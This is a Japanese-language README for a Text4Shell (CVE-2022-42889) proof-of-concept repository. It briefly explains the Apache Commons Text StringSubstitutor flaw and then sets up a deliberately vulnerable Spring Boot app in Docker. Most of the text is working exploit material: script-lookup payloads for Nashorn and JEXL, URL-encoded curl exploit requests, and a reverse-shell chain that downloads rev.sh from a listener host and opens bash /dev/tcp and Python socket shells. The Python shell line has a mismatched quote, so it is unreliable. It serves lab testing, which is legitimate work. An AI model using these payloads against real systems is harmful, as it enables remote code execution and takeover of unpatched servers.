
CVE-2022-42889 別名 Text4Shell 研究 & PoC
最近発見されたApache Commons Textの脆弱性に対するPoCです(@pwntesterより):
https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/ でも触れられているように: この脆弱性は、StringSubstitutorインターポレータオブジェクトに存在します。インターポレータはStringSubstitutor.createInterpolator()メソッドによって作成され、StringLookupFactoryで定義されている文字列ルックアップを可能にします。これは、“${prefix:name}”という文字列を渡すことで利用できます。ここでprefixは前述のルックアップです。“script”、“dns”、“url”の各ルックアップを使用すると、細工された文字列がインターポレータオブジェクトに渡された際に任意のスクリプトを実行できる可能性があります。
影響を受けるApache Commons Textのバージョンは1.5から1.9です。バージョン1.10で修正されました。
リモートから悪用するには、攻撃者が制御した入力をStringSubstitutorのインターポレーションの入力として使用する必要があります。具体的には、StringSubstitutor.replace() または StringSubstitutor.replaceIn() メソッド内で使用される必要があります。
JDK 15以降、Nashorn JavaScriptエンジンは削除されました(https://openjdk.org/jeps/372)。ただし、JEXLなどのサードパーティ依存関係が含まれている場合、Apache Commons TextでRCEが発生する可能性があります(https://twitter.com/pwntester/status/1582321752566161409)
RCEを取得するために悪用可能です。
Nashornエンジン:
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
サードパーティのJEXLを使用する場合:
${script:JEXL:''.getClass().forName('java.lang.Runtime').getRuntime().exec('touch /tmp/pwned')}
DNSルックアップにつながる可能性があります:
${dns:address|commons.apache.org}
指定されたURLに接続し、コンテンツの取得を試みます:
${url:UTF-8:https://nvd.nist.gov/vuln/detail/CVE-2022-42889}
テンプレートは https://start.spring.io/ に基づいています
mvn clean package -DskipTests
java -jar spring-boot-0.0.1-SNAPSHOT.jar
sudo docker build -t text4shell . -f Dockerfile.Java11
sudo docker run -p 8080:8080 text4shell
sudo docker build -t text4shell . -f Dockerfile.Java19
sudo docker run -p 8080:8080 text4shell
前述の異なる攻撃ベクトルをテストするための複数のエンドポイントが提供されています。

curl http://localhost:8080/poc1


curl http://localhost:8080/poc2


curl http://localhost:8080/poc3

curl http://localhost:8080/message
curl http://localhost:8080/message?text=1

Nashornを使用:
curl http://localhost:8080/message?text=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime().exec(%27touch%20%2Ftmp%2Ffoo%27)%7D

JEXLを使用:
curl http://localhost:8080/message?text=%24%7Bscript%3AJEXL%3A%27%27.getClass().forName(%27java.lang.Runtime%27).getRuntime().exec(%27touch%20%2Ftmp%2Fpwned%27)%7D


簡単のため、デフォルトのDockerインターフェースをnetcatリスナーに使用しています。試行錯誤の結果、以下のbashとpythonのリバースシェルペイロードが正常に動作しました:
${script:javascript:java.lang.Runtime.getRuntime().exec('curl -s http://172.17.0.1:3333/rev.sh -o /tmp/rev.sh')}
${script:javascript:java.lang.Runtime.getRuntime().exec('bash /tmp/rev.sh')}
ここでrev.shは以下の内容で配信されます:
bash -i >& /dev/tcp/172.17.0.1/5555 0>&1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1,5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

